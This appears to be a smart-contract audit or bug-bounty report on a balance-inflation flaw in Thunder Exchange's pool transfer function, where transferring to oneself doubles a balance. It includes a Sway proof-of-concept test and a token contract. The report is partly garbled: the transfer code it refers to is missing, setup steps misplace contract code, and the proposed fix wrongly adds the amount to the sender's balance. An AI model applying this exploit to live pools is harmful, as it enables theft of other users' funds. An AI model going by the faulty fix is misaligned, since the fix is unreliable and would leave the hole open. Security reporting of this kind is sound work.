Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Thunder Exchange
Pool Balance Inflation
Description
A issue exists where pool balances can be artificially inflated without any additional deposits. This flaw enables malicious actors to withdraw inflated funds, effectively stealing from the pool.
Root Cause
The vulnerability stems from the current implementation of the transfer function, as shown below:
However, if from and to are the same account, the update in step 3 is effectively overwritten by the update in step 4. As a result, the attacker retains their original balance plus the transferred amount.
Impact
This vulnerability allows the creation of inflated balances without corresponding funds. When a user with such an inflated balance withdraws from the pool, they can deplete the pool's reserves, leaving other users unable to withdraw their legitimate funds.
But, currently, the impact is classified as Low, since the transfer function can only be invoked by the ThunderExchange itself, which is not malicious.
Proposed fix
There are two primary solutions to address this issue:
Ensure that from and to are not the same account.
Adjust the order of operations as follows:
Read the from balance
Update the from balance to from + amount
Read the to balance
Update the to balance to to + amount
Proof of concept
Proof of Concept
There are some steps to follow:
Create forc.toml in contracts-v1 and add the below in the forc.toml:
contract;
use interfaces::{
thunder_exchange_interface::{ThunderExchange},
royalty_manager_interface::*,
asset_manager_interface::*,
execution_manager_interface::ExecutionManager,
execution_strategy_interface::*,
pool_interface::Pool,
test_user_interface::TestUser,
};
use libraries::{
msg_sender_address::*,
constants::*,
order_types::*,
ownable::*,
};
use standards::{src3::SRC3};
use std::{
block::timestamp,
auth::*,
call_frames::*,
context::*,
contract_id::ContractId,
constants::DEFAULT_SUB_ID,
logging::log,
revert::require,
assert::*,
storage::storage_map::*,
asset::*
};
#[test()]
fn test_attack() {
let caller = caller_address().unwrap();
let asset_mngr = abi(AssetManager, asset_manager::CONTRACT_ID);
let pool = abi(Pool, pool::CONTRACT_ID);
let test_user = abi(TestUser, test_user::CONTRACT_ID);
let test_user_identity = Identity::ContractId(ContractId::from(test_user::CONTRACT_ID));
asset_mngr.initialize();
test_user.initialize(ContractId::from(pool::CONTRACT_ID));
// set the test user as the exchange for the pool for this test
pool.initialize(ContractId::from(test_user::CONTRACT_ID), ContractId::from(asset_manager::CONTRACT_ID));
// mint tokens to the user
let example_asset = abi(SRC3, test_asset::CONTRACT_ID);
let asset_id = AssetId::new(ContractId::from(test_asset::CONTRACT_ID), DEFAULT_SUB_ID);
asset_mngr.add_asset(asset_id);
example_asset.mint(test_user_identity, DEFAULT_SUB_ID, 1000); // mint 1000 tokens to the test user
// test user deposits to pool
test_user.deposit_to_pool_attack(asset_id, 1000);
assert(pool.balance_of(test_user_identity, asset_id) == 2000); // inflated balance
}
contract;
use standards::{src20::SRC20, src3::SRC3};
use std::{
asset::{
burn,
mint_to,
},
call_frames::msg_asset_id,
context::msg_amount,
hash::Hash,
storage::storage_string::*,
string::String,
};
// In this example, all assets minted from this contract have the same decimals, name, and symbol
configurable {
/// The decimals of every asset minted by this contract.
DECIMALS: u8 = 9u8,
/// The name of every asset minted by this contract.
NAME: str[12] = __to_str_array("ExampleAsset"),
/// The symbol of every asset minted by this contract.
SYMBOL: str[2] = __to_str_array("EA"),
}
storage {
/// The total number of distinguishable assets this contract has minted.
total_assets: u64 = 0,
/// The total supply of a particular asset.
total_supply: StorageMap<AssetId, u64> = StorageMap {},
}
impl SRC3 for Contract {
/// Unconditionally mints new assets using the `sub_id` sub-identifier.
///
/// # Arguments
///
/// * `recipient`: [Identity] - The user to which the newly minted asset is transferred to.
/// * `sub_id`: [SubId] - The sub-identifier of the newly minted asset.
/// * `amount`: [u64] - The quantity of coins to mint.
///
/// # Number of Storage Accesses
///
/// * Reads: `2`
/// * Writes: `2`
///
/// # Examples
///
/// ```sway
/// use src3::SRC3;
/// use std::constants::DEFAULT_SUB_ID;
///
/// fn foo(contract_id: ContractId) {
/// let contract_abi = abi(SRC3, contract_id);
/// contract_abi.mint(Identity::ContractId(contract_id), DEFAULT_SUB_ID, 100);
/// }
/// ```
#[storage(read, write)]
fn mint(recipient: Identity, sub_id: SubId, amount: u64) {
let asset_id = AssetId::new(ContractId::this(), sub_id);
// If this SubId is new, increment the total number of distinguishable assets this contract has minted.
let asset_supply = storage.total_supply.get(asset_id).try_read();
match asset_supply {
None => {
storage.total_assets.write(storage.total_assets.read() + 1)
},
_ => {},
}
// Increment total supply of the asset and mint to the recipient.
storage
.total_supply
.insert(asset_id, amount + asset_supply.unwrap_or(0));
mint_to(recipient, sub_id, amount);
}
/// Unconditionally burns assets sent with the `sub_id` sub-identifier.
///
/// # Arguments
///
/// * `sub_id`: [SubId] - The sub-identifier of the asset to burn.
/// * `amount`: [u64] - The quantity of coins to burn.
///
/// # Number of Storage Accesses
///
/// * Reads: `1`
/// * Writes: `1`
///
/// # Reverts
///
/// * When the transaction did not include at least `amount` coins.
/// * When the asset included in the transaction does not have the SubId `sub_id`.
///
/// # Examples
///
/// ```sway
/// use src3::SRC3;
/// use std::constants::DEFAULT_SUB_ID;
///
/// fn foo(contract_id: ContractId, asset_id: AssetId) {
/// let contract_abi = abi(SRC3, contract_id);
/// contract_abi {
/// gas: 10000,
/// coins: 100,
/// asset_id: asset_id,
/// }.burn(DEFAULT_SUB_ID, 100);
/// }
/// ```
#[payable]
#[storage(read, write)]
fn burn(sub_id: SubId, amount: u64) {
let asset_id = AssetId::new(ContractId::this(), sub_id);
require(msg_amount() == amount, "Incorrect amount provided");
require(msg_asset_id() == asset_id, "Incorrect asset provided");
// Decrement total supply of the asset and burn.
storage
.total_supply
.insert(asset_id, storage.total_supply.get(asset_id).read() - amount);
burn(sub_id, amount);
}
}
// SRC3 extends SRC20, so this must be included
impl SRC20 for Contract {
#[storage(read)]
fn total_assets() -> u64 {
storage.total_assets.read()
}
#[storage(read)]
fn total_supply(asset: AssetId) -> Option<u64> {
storage.total_supply.get(asset).try_read()
}
#[storage(read)]
fn name(asset: AssetId) -> Option<String> {
match storage.total_supply.get(asset).try_read() {
Some(_) => Some(String::from_ascii_str(from_str_array(NAME))),
None => None,
}
}
#[storage(read)]
fn symbol(asset: AssetId) -> Option<String> {
match storage.total_supply.get(asset).try_read() {
Some(_) => Some(String::from_ascii_str(from_str_array(SYMBOL))),
None => None,
}
}
#[storage(read)]
fn decimals(asset: AssetId) -> Option<u8> {
match storage.total_supply.get(asset).try_read() {
Some(_) => Some(DECIMALS),
None => None,
}
}
}
Interfaces
Now we need to add the test_user interface to interact with. In the interfaces/src folder, in the lib.sw add the following line:
pub mod test_user_interface;
Additionally, create a file called test_user_interface.sw in the interfaces/src folder and add the following:
library;
use libraries::{
order_types::*,
};
abi TestUser {
#[storage(read, write)]
fn initialize(pool: ContractId);
#[storage(read)]
fn deposit_to_pool_attack(asset: AssetId, amount: u64);
}
Run it all!
Simply run forc test in smart-contracts/contracts-v1.
